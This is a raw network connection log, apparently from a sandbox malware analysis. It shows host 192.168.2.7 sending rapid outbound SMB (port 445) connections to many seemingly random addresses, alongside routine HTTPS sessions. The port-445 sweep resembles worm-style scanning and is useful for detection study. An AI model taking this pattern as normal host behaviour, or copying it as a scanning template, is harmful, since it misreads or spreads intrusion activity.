Jul 20, 2022 13:24:14.026218891 CEST	50215	445	192.168.2.7	193.78.172.186
Jul 20, 2022 13:24:14.073436975 CEST	50216	445	192.168.2.7	216.17.145.18
Jul 20, 2022 13:24:14.244955063 CEST	50217	445	192.168.2.7	98.135.216.222
Jul 20, 2022 13:24:14.347553968 CEST	50218	445	192.168.2.7	84.197.232.134
Jul 20, 2022 13:24:14.542324066 CEST	50219	445	192.168.2.7	119.173.17.229
Jul 20, 2022 13:24:14.543512106 CEST	50220	445	192.168.2.7	189.200.10.155
Jul 20, 2022 13:24:14.651283026 CEST	50221	445	192.168.2.7	155.52.145.248
Jul 20, 2022 13:24:14.651840925 CEST	50222	445	192.168.2.7	113.236.56.0
Jul 20, 2022 13:24:14.652374029 CEST	50223	445	192.168.2.7	39.145.206.74
Jul 20, 2022 13:24:14.652892113 CEST	50224	445	192.168.2.7	90.177.141.34
Jul 20, 2022 13:24:14.653418064 CEST	50225	445	192.168.2.7	206.239.12.165
Jul 20, 2022 13:24:14.713963032 CEST	50226	445	192.168.2.7	114.56.130.24
Jul 20, 2022 13:24:14.807629108 CEST	50227	445	192.168.2.7	65.28.35.113
Jul 20, 2022 13:24:14.916944027 CEST	50228	445	192.168.2.7	118.23.202.236
Jul 20, 2022 13:24:14.979598999 CEST	50229	445	192.168.2.7	113.234.132.202
Jul 20, 2022 13:24:15.135554075 CEST	50230	445	192.168.2.7	188.221.102.150
Jul 20, 2022 13:24:15.198220968 CEST	50231	445	192.168.2.7	59.101.109.77
Jul 20, 2022 13:24:15.354572058 CEST	50232	445	192.168.2.7	182.2.199.17
Jul 20, 2022 13:24:15.463485003 CEST	50233	445	192.168.2.7	159.166.116.224
Jul 20, 2022 13:24:15.667387962 CEST	50234	445	192.168.2.7	137.227.108.71
Jul 20, 2022 13:24:15.667454004 CEST	50235	445	192.168.2.7	12.178.15.171
Jul 20, 2022 13:24:15.777828932 CEST	50236	445	192.168.2.7	41.212.128.84
Jul 20, 2022 13:24:15.777895927 CEST	50237	445	192.168.2.7	175.154.13.2
Jul 20, 2022 13:24:15.777959108 CEST	50238	445	192.168.2.7	56.180.233.205
Jul 20, 2022 13:24:15.778002024 CEST	50239	445	192.168.2.7	47.223.45.89
Jul 20, 2022 13:24:15.778044939 CEST	50240	445	192.168.2.7	176.126.64.142
Jul 20, 2022 13:24:15.810691118 CEST	50241	445	192.168.2.7	121.235.111.109
Jul 20, 2022 13:24:15.838680029 CEST	50242	445	192.168.2.7	183.88.31.76
Jul 20, 2022 13:24:15.933309078 CEST	50243	445	192.168.2.7	106.53.176.142
Jul 20, 2022 13:24:16.042078972 CEST	50244	445	192.168.2.7	129.223.86.229
Jul 20, 2022 13:24:16.104517937 CEST	50245	445	192.168.2.7	208.44.66.171
Jul 20, 2022 13:24:16.264925003 CEST	50246	445	192.168.2.7	173.213.239.75
Jul 20, 2022 13:24:16.327018976 CEST	50247	445	192.168.2.7	18.125.143.199
Jul 20, 2022 13:24:16.479413986 CEST	50248	445	192.168.2.7	52.99.111.47
Jul 20, 2022 13:24:16.588675976 CEST	50249	445	192.168.2.7	103.119.208.13
Jul 20, 2022 13:24:16.589293003 CEST	49742	443	192.168.2.7	20.190.159.134
Jul 20, 2022 13:24:16.637171984 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:16.637216091 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:16.637305021 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:16.638402939 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:16.638427019 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:16.781338930 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:16.781469107 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:16.782207966 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:16.782279968 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:16.797118902 CEST	50251	445	192.168.2.7	21.11.108.119
Jul 20, 2022 13:24:16.797764063 CEST	50252	445	192.168.2.7	46.18.60.64
Jul 20, 2022 13:24:16.815099955 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:16.815133095 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:16.815396070 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:16.816663027 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:16.816730022 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:16.816756010 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:16.901520967 CEST	50253	445	192.168.2.7	63.16.204.102
Jul 20, 2022 13:24:16.902224064 CEST	50254	445	192.168.2.7	146.213.217.34
Jul 20, 2022 13:24:16.909481049 CEST	50255	445	192.168.2.7	199.197.95.124
Jul 20, 2022 13:24:16.909746885 CEST	50256	445	192.168.2.7	130.12.9.2
Jul 20, 2022 13:24:16.909841061 CEST	50257	445	192.168.2.7	165.242.192.251
Jul 20, 2022 13:24:16.932681084 CEST	50258	445	192.168.2.7	10.57.215.63
Jul 20, 2022 13:24:16.972121954 CEST	50259	445	192.168.2.7	203.170.146.243
Jul 20, 2022 13:24:17.002343893 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.002370119 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.002410889 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.002433062 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.002465010 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.002513885 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.002882004 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.002911091 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.002919912 CEST	50250	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.002927065 CEST	443	50250	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.057631969 CEST	50260	445	192.168.2.7	25.174.71.92
Jul 20, 2022 13:24:17.079191923 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.079251051 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.082729101 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.082892895 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.082922935 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.100888968 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.100961924 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.101972103 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.102314949 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.102344990 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.167646885 CEST	50263	445	192.168.2.7	56.233.60.232
Jul 20, 2022 13:24:17.223802090 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.224596024 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.224627018 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.225634098 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.225657940 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.225709915 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.225720882 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.229856968 CEST	50264	445	192.168.2.7	45.58.35.167
Jul 20, 2022 13:24:17.241976023 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.242152929 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.244242907 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.244438887 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.257002115 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.257052898 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.257560968 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.258574009 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.258748055 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.258785009 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.385874987 CEST	50265	445	192.168.2.7	183.164.158.225
Jul 20, 2022 13:24:17.396116018 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.396151066 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.396159887 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.396208048 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.396249056 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.396342039 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.396387100 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.397936106 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.397960901 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.397986889 CEST	50261	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.397994995 CEST	443	50261	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.430778980 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.430846930 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.430937052 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.431015968 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.431026936 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.431114912 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.431119919 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.435921907 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.435960054 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.435985088 CEST	50262	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:24:17.435993910 CEST	443	50262	20.190.159.23	192.168.2.7
Jul 20, 2022 13:24:17.451891899 CEST	50266	445	192.168.2.7	221.97.226.154
Jul 20, 2022 13:24:17.484740973 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.484786034 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.484886885 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.485110044 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.485121965 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.495651960 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.495696068 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.495826006 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.503204107 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.503231049 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.504970074 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.505012989 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.505269051 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.505405903 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.505441904 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.505570889 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.505811930 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.505846977 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.505927086 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.505969048 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.505990028 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.506128073 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.506139040 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.506273031 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.506295919 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.611954927 CEST	50272	445	192.168.2.7	104.47.245.58
Jul 20, 2022 13:24:17.622761011 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.642846107 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.644494057 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.644515038 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.645371914 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.645378113 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.645411968 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.645421028 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.646066904 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.646095991 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.647025108 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.647036076 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.647121906 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.647135019 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.648729086 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.648751974 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.649266958 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.649291039 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.649379015 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.649391890 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.650398016 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.650404930 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.650451899 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.650459051 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.650795937 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.650805950 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.650959969 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.650976896 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.652919054 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.653422117 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.653449059 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.654352903 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.654366016 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.654402018 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.654417038 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.721694946 CEST	50273	445	192.168.2.7	73.197.32.151
Jul 20, 2022 13:24:17.814321041 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.814404011 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.814467907 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.814491987 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.814497948 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.814577103 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.814587116 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.814866066 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.814896107 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.814913988 CEST	50268	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.814925909 CEST	443	50268	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.817581892 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.817624092 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.817697048 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.817708969 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.817728996 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.817751884 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.817773104 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.817807913 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.817850113 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.817861080 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.821903944 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.821955919 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.822031021 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.822052956 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.822067022 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.822082996 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.822082996 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.822093964 CEST	50267	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.822129011 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.822132111 CEST	443	50267	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.822138071 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.823822021 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.823865891 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.823940039 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.823970079 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.823970079 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.824012995 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.824033976 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.826824903 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.826875925 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.826931953 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.826982975 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.826988935 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.827014923 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.827054024 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.831728935 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.831753016 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.831763983 CEST	50270	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.831770897 CEST	443	50270	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.831836939 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.831867933 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.831877947 CEST	50269	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.831885099 CEST	443	50269	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.839283943 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.839330912 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.839399099 CEST	50271	443	192.168.2.7	20.190.159.5
Jul 20, 2022 13:24:17.839417934 CEST	443	50271	20.190.159.5	192.168.2.7
Jul 20, 2022 13:24:17.844465971 CEST	50274	445	192.168.2.7	7.124.176.214
Jul 20, 2022 13:24:17.917512894 CEST	50275	445	192.168.2.7	180.62.244.203
Jul 20, 2022 13:24:17.918029070 CEST	50276	445	192.168.2.7	151.75.14.109
Jul 20, 2022 13:24:18.026304960 CEST	50277	445	192.168.2.7	17.126.196.203
Jul 20, 2022 13:24:18.026768923 CEST	50278	445	192.168.2.7	102.253.159.204
Jul 20, 2022 13:24:18.027287960 CEST	50279	445	192.168.2.7	40.8.53.56
Jul 20, 2022 13:24:18.027775049 CEST	50280	445	192.168.2.7	76.217.247.136
Jul 20, 2022 13:24:18.028260946 CEST	50281	445	192.168.2.7	28.241.229.75
Jul 20, 2022 13:24:18.057924986 CEST	50282	445	192.168.2.7	48.177.28.15
Jul 20, 2022 13:24:18.088795900 CEST	50283	445	192.168.2.7	5.114.106.183
Jul 20, 2022 13:24:18.110555887 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.110637903 CEST	443	50284	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:18.110744953 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.113002062 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.113043070 CEST	443	50284	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:18.141741037 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.141791105 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.141881943 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.142007113 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.142045975 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.142112970 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.158205986 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.158238888 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.158526897 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.158569098 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.182581902 CEST	50287	445	192.168.2.7	49.113.113.211
Jul 20, 2022 13:24:18.222914934 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.223077059 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.223947048 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.224036932 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.225446939 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.225541115 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.226284981 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.226352930 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.228986025 CEST	443	50284	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:18.229070902 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.235059977 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.235079050 CEST	443	50284	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:18.235354900 CEST	443	50284	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:18.250179052 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.250231028 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.250242949 CEST	443	50284	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:18.250749111 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.280529022 CEST	443	50284	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:18.280611038 CEST	443	50284	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:18.280668974 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.280739069 CEST	50284	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:18.280752897 CEST	443	50284	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:18.291979074 CEST	50288	445	192.168.2.7	195.216.91.65
Jul 20, 2022 13:24:18.299087048 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.299108982 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.299722910 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.299806118 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.300721884 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.300791025 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.301390886 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.301418066 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.301683903 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.301703930 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.302021027 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.302102089 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.354609013 CEST	50289	445	192.168.2.7	213.203.123.127
Jul 20, 2022 13:24:18.367805958 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.367928028 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.368016005 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.368016005 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.368038893 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.368077040 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.376904011 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.377002001 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.377019882 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.377084017 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.377227068 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.411598921 CEST	50285	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.411626101 CEST	443	50285	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.412038088 CEST	50286	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:24:18.412074089 CEST	443	50286	204.79.197.200	192.168.2.7
Jul 20, 2022 13:24:18.518146038 CEST	50290	445	192.168.2.7	5.219.53.132
Jul 20, 2022 13:24:18.528137922 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.528211117 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.528347015 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.534821033 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.534871101 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.534953117 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.554742098 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.554790020 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.564857960 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.564882040 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.576884031 CEST	50293	445	192.168.2.7	139.171.13.233
